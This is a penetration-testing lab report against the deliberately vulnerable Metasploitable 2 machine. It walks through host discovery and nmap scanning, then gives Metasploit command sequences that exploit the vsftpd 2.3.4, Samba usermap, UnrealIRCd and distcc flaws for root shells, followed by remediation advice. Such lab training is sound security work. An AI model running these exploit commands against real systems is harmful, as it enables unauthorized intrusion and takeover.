nmap -sV -O -p- 192.168.30.105

search vsftpd

searchsploit vsftpd 2.3.4

msfconsole

search vsftpd

use exploit/unix/ftp/vsftpd\_234\_backdoor

set RHOSTS 192.168.30.105

Run

## **1. Introduction**

Penetration testing is the process of evaluating the security posture of a system by simulating attacks that a malicious actor might attempt. The goal is not only to identify vulnerabilities but also to demonstrate how they can be exploited, and to provide recommendations for remediation.

In this project, I performed a penetration test on the **Metasploitable 2** virtual machine using **Kali Linux** as the attacker machine. Metasploitable 2 is a deliberately vulnerable virtual machine maintained by Rapid7 and is widely used for training in penetration testing, vulnerability assessment, and ethical hacking.

The objective of this assessment is to:

1. Identify the vulnerabilities present in the target machine.
2. Exploit them using tools available in Kali Linux (such as Nmap, Netdiscover, and Metasploit Framework).
3. Document the exploitation process and outcomes.
4. Provide mitigation recommendations based on industry best practices.

By following a structured methodology, this exercise replicates a real-world penetration test, but in a controlled and ethical lab environment

## **2. Penetration Testing Methodology**

In accordance with industry standards such as **OSSTMM (Open Source Security Testing Methodology Manual)** and **NIST SP 800-115**, the penetration testing followed five main phases:

1. **Information Gathering (Reconnaissance):** Identify hosts, IP addresses, and running services on the target.
2. **Vulnerability Scanning:** Determine version numbers of services and match them to known vulnerabilities.
3. **Exploitation:** Use Metasploit Framework to exploit the identified vulnerabilities and gain access.
4. **Post-Exploitation:** Collect information from the compromised system to demonstrate impact.
5. **Reporting:** Document each step, finding, and recommendation.

This methodology ensures systematic coverage and avoids random or unstructured attempts at exploitation.

## **3. Environment Setup**

The test was conducted in a virtualized lab environment using VMware Workstation.

* **Attacker (Kali Linux):**
  + IP Address: 192.168.30.23
  + Tools used: netdiscover, nmap, msfconsole, searchsploit
* **Target (Metasploitable 2):**
  + IP Address: 192.168.30.105
  + Contains deliberately vulnerable services including FTP, Samba, IRC, MySQL, PostgreSQL, and vulnerable web applications.

Both machines were connected in **Host-only network mode**, ensuring that testing was isolated and no external networks were affected.

## **4. Information Gathering**

### **4.1 Host Discovery**

The first step was to discover all live hosts in the network range.

Command:

netdiscover -r 192.168.30.0/24

Result:

* Kali Linux → 192.168.30.23
* Metasploitable 2 → 192.168.30.105

This confirmed the target machine’s IP.

Next, I used Nmap to scan the target for all open ports, running services, and OS detection.

Command:

nmap -sV -O -p- 192.168.30.105

Options explained:

* -sV → Detects version of running services.
* -O → Attempts to identify the operating system.
* -p- → Scans all 65,535 ports.

## **5. Vulnerability Identification**

By comparing the service versions with public vulnerability databases such as **CVE (Common Vulnerabilities and Exposures)**, **Exploit-DB**, and Metasploit Framework, I identified the following known vulnerabilities:

1. **vsftpd 2.3.4** – Backdoor vulnerability (CVE-2011-2523).
2. **Samba 3.0.20** – Remote code execution (CVE-2007-2447).
3. **UnrealIRCd 3.2.8.1** – Backdoor vulnerability (CVE-2010-2075).
4. **DistCC Daemon** – Remote command execution (CVE-2004-2687).
5. **Web Applications (DVWA, Mutillidae, PhpMyAdmin)** – SQL injection, XSS, weak authentication.

## **6. Exploitation**

### **6.1 FTP – vsftpd 2.3.4 Backdoor**

* **Vulnerability:** vsftpd 2.3.4 is known to contain a malicious backdoor. If a username ending with :) is entered, it spawns a shell on port 6200.
* **CVE:** CVE-2011-2523
* **Metasploit Module:** exploit/unix/ftp/vsftpd\_234\_backdoor

**Commands:**

msfconsole  
use exploit/unix/ftp/vsftpd\_234\_backdoor  
set RHOSTS 192.168.30.105  
set RPORT 21  
run

**Result:** Remote shell access obtained.

### **6.2 Samba 3.0.20 – Usermap Script Exploit**

* **Vulnerability:** A flaw in Samba allows remote code execution via crafted usermap scripts.
* **CVE:** CVE-2007-2447
* **Metasploit Module:** exploit/multi/samba/usermap\_script

**Commands:**

msfconsole  
use exploit/multi/samba/usermap\_script  
set RHOSTS 192.168.30.105  
set RPORT 445  
run

**Result:** Remote shell access as root.

### **6.3 UnrealIRCd 3.2.8.1 – Backdoor**

* **Vulnerability:** The downloaded tarball was modified to include a backdoor that executes commands sent in the IRC “nick” field.
* **CVE:** CVE-2010-2075
* **Metasploit Module:** exploit/unix/irc/unreal\_ircd\_3281\_backdoor

**Commands:**

msfconsole  
use exploit/unix/irc/unreal\_ircd\_3281\_backdoor  
set RHOSTS 192.168.30.105  
set RPORT 6667  
run

**Result:** Remote root shell access.

### **6.4 DistCC Daemon – Remote Command Execution**

* **Vulnerability:** DistCC allows execution of arbitrary shell commands when not properly secured.
* **CVE:** CVE-2004-2687
* **Metasploit Module:** exploit/unix/misc/distcc\_exec

**Commands:**

msfconsole  
use exploit/unix/misc/distcc\_exec  
set RHOSTS 192.168.30.105  
set RPORT 3632  
run

**Result:** Remote command execution obtained.

### **6.5 Web Applications (Brief Overview)**

Metasploitable 2 also contains web applications like DVWA, Mutillidae, and PhpMyAdmin, which are vulnerable to:

* SQL Injection
* Cross-Site Scripting (XSS)
* Command Injection
* Weak default credentials

These can be exploited manually or using tools like **sqlmap**, **Burp Suite**, and **Metasploit web exploits**.

## **7. Post-Exploitation**

After exploitation, I confirmed system access using:

whoami  
id  
hostname

Outputs:

* User: root
* Hostname: metasploitable

This confirmed full system compromise.

## **9. Recommendations**

Based on industry best practices (NIST SP 800-53, OWASP Top 10), the following recommendations are made:

1. **Patch and Update Software:**
   1. Replace vsftpd 2.3.4 with a secure version.
   2. Upgrade Samba, UnrealIRCd, and DistCC.
2. **Remove Unnecessary Services:**
   1. Disable services not required for operations (e.g., IRC, DistCC).
3. **Strong Authentication:**
   1. Enforce complex passwords and remove default credentials.
4. **Firewall and Access Controls:**
   1. Restrict access to only necessary ports.
   2. Use host-based firewalls and segmentation.
5. **Web Application Security:**
   1. Apply input validation and sanitization.
   2. Deploy a Web Application Firewall (WAF).
6. **Monitoring and Logging:**
   1. Implement intrusion detection systems.
   2. Regularly monitor logs for suspicious activity.

## **10. Conclusion**

This penetration test successfully demonstrated how multiple high-risk vulnerabilities in Metasploitable 2 can be exploited to gain full control of the system.

The vulnerabilities identified (vsftpd, Samba, UnrealIRCd, DistCC, and web applications) highlight common issues that occur in real-world environments when systems are not patched or secured.

If this were a production system, attackers could exfiltrate sensitive data, install malware, or pivot to other machines on the network.

The key takeaway is that **regular vulnerability assessments and penetration testing are essential** to maintain security. Applying patches, enforcing strong access controls, and following security best practices significantly reduce the risk of compromise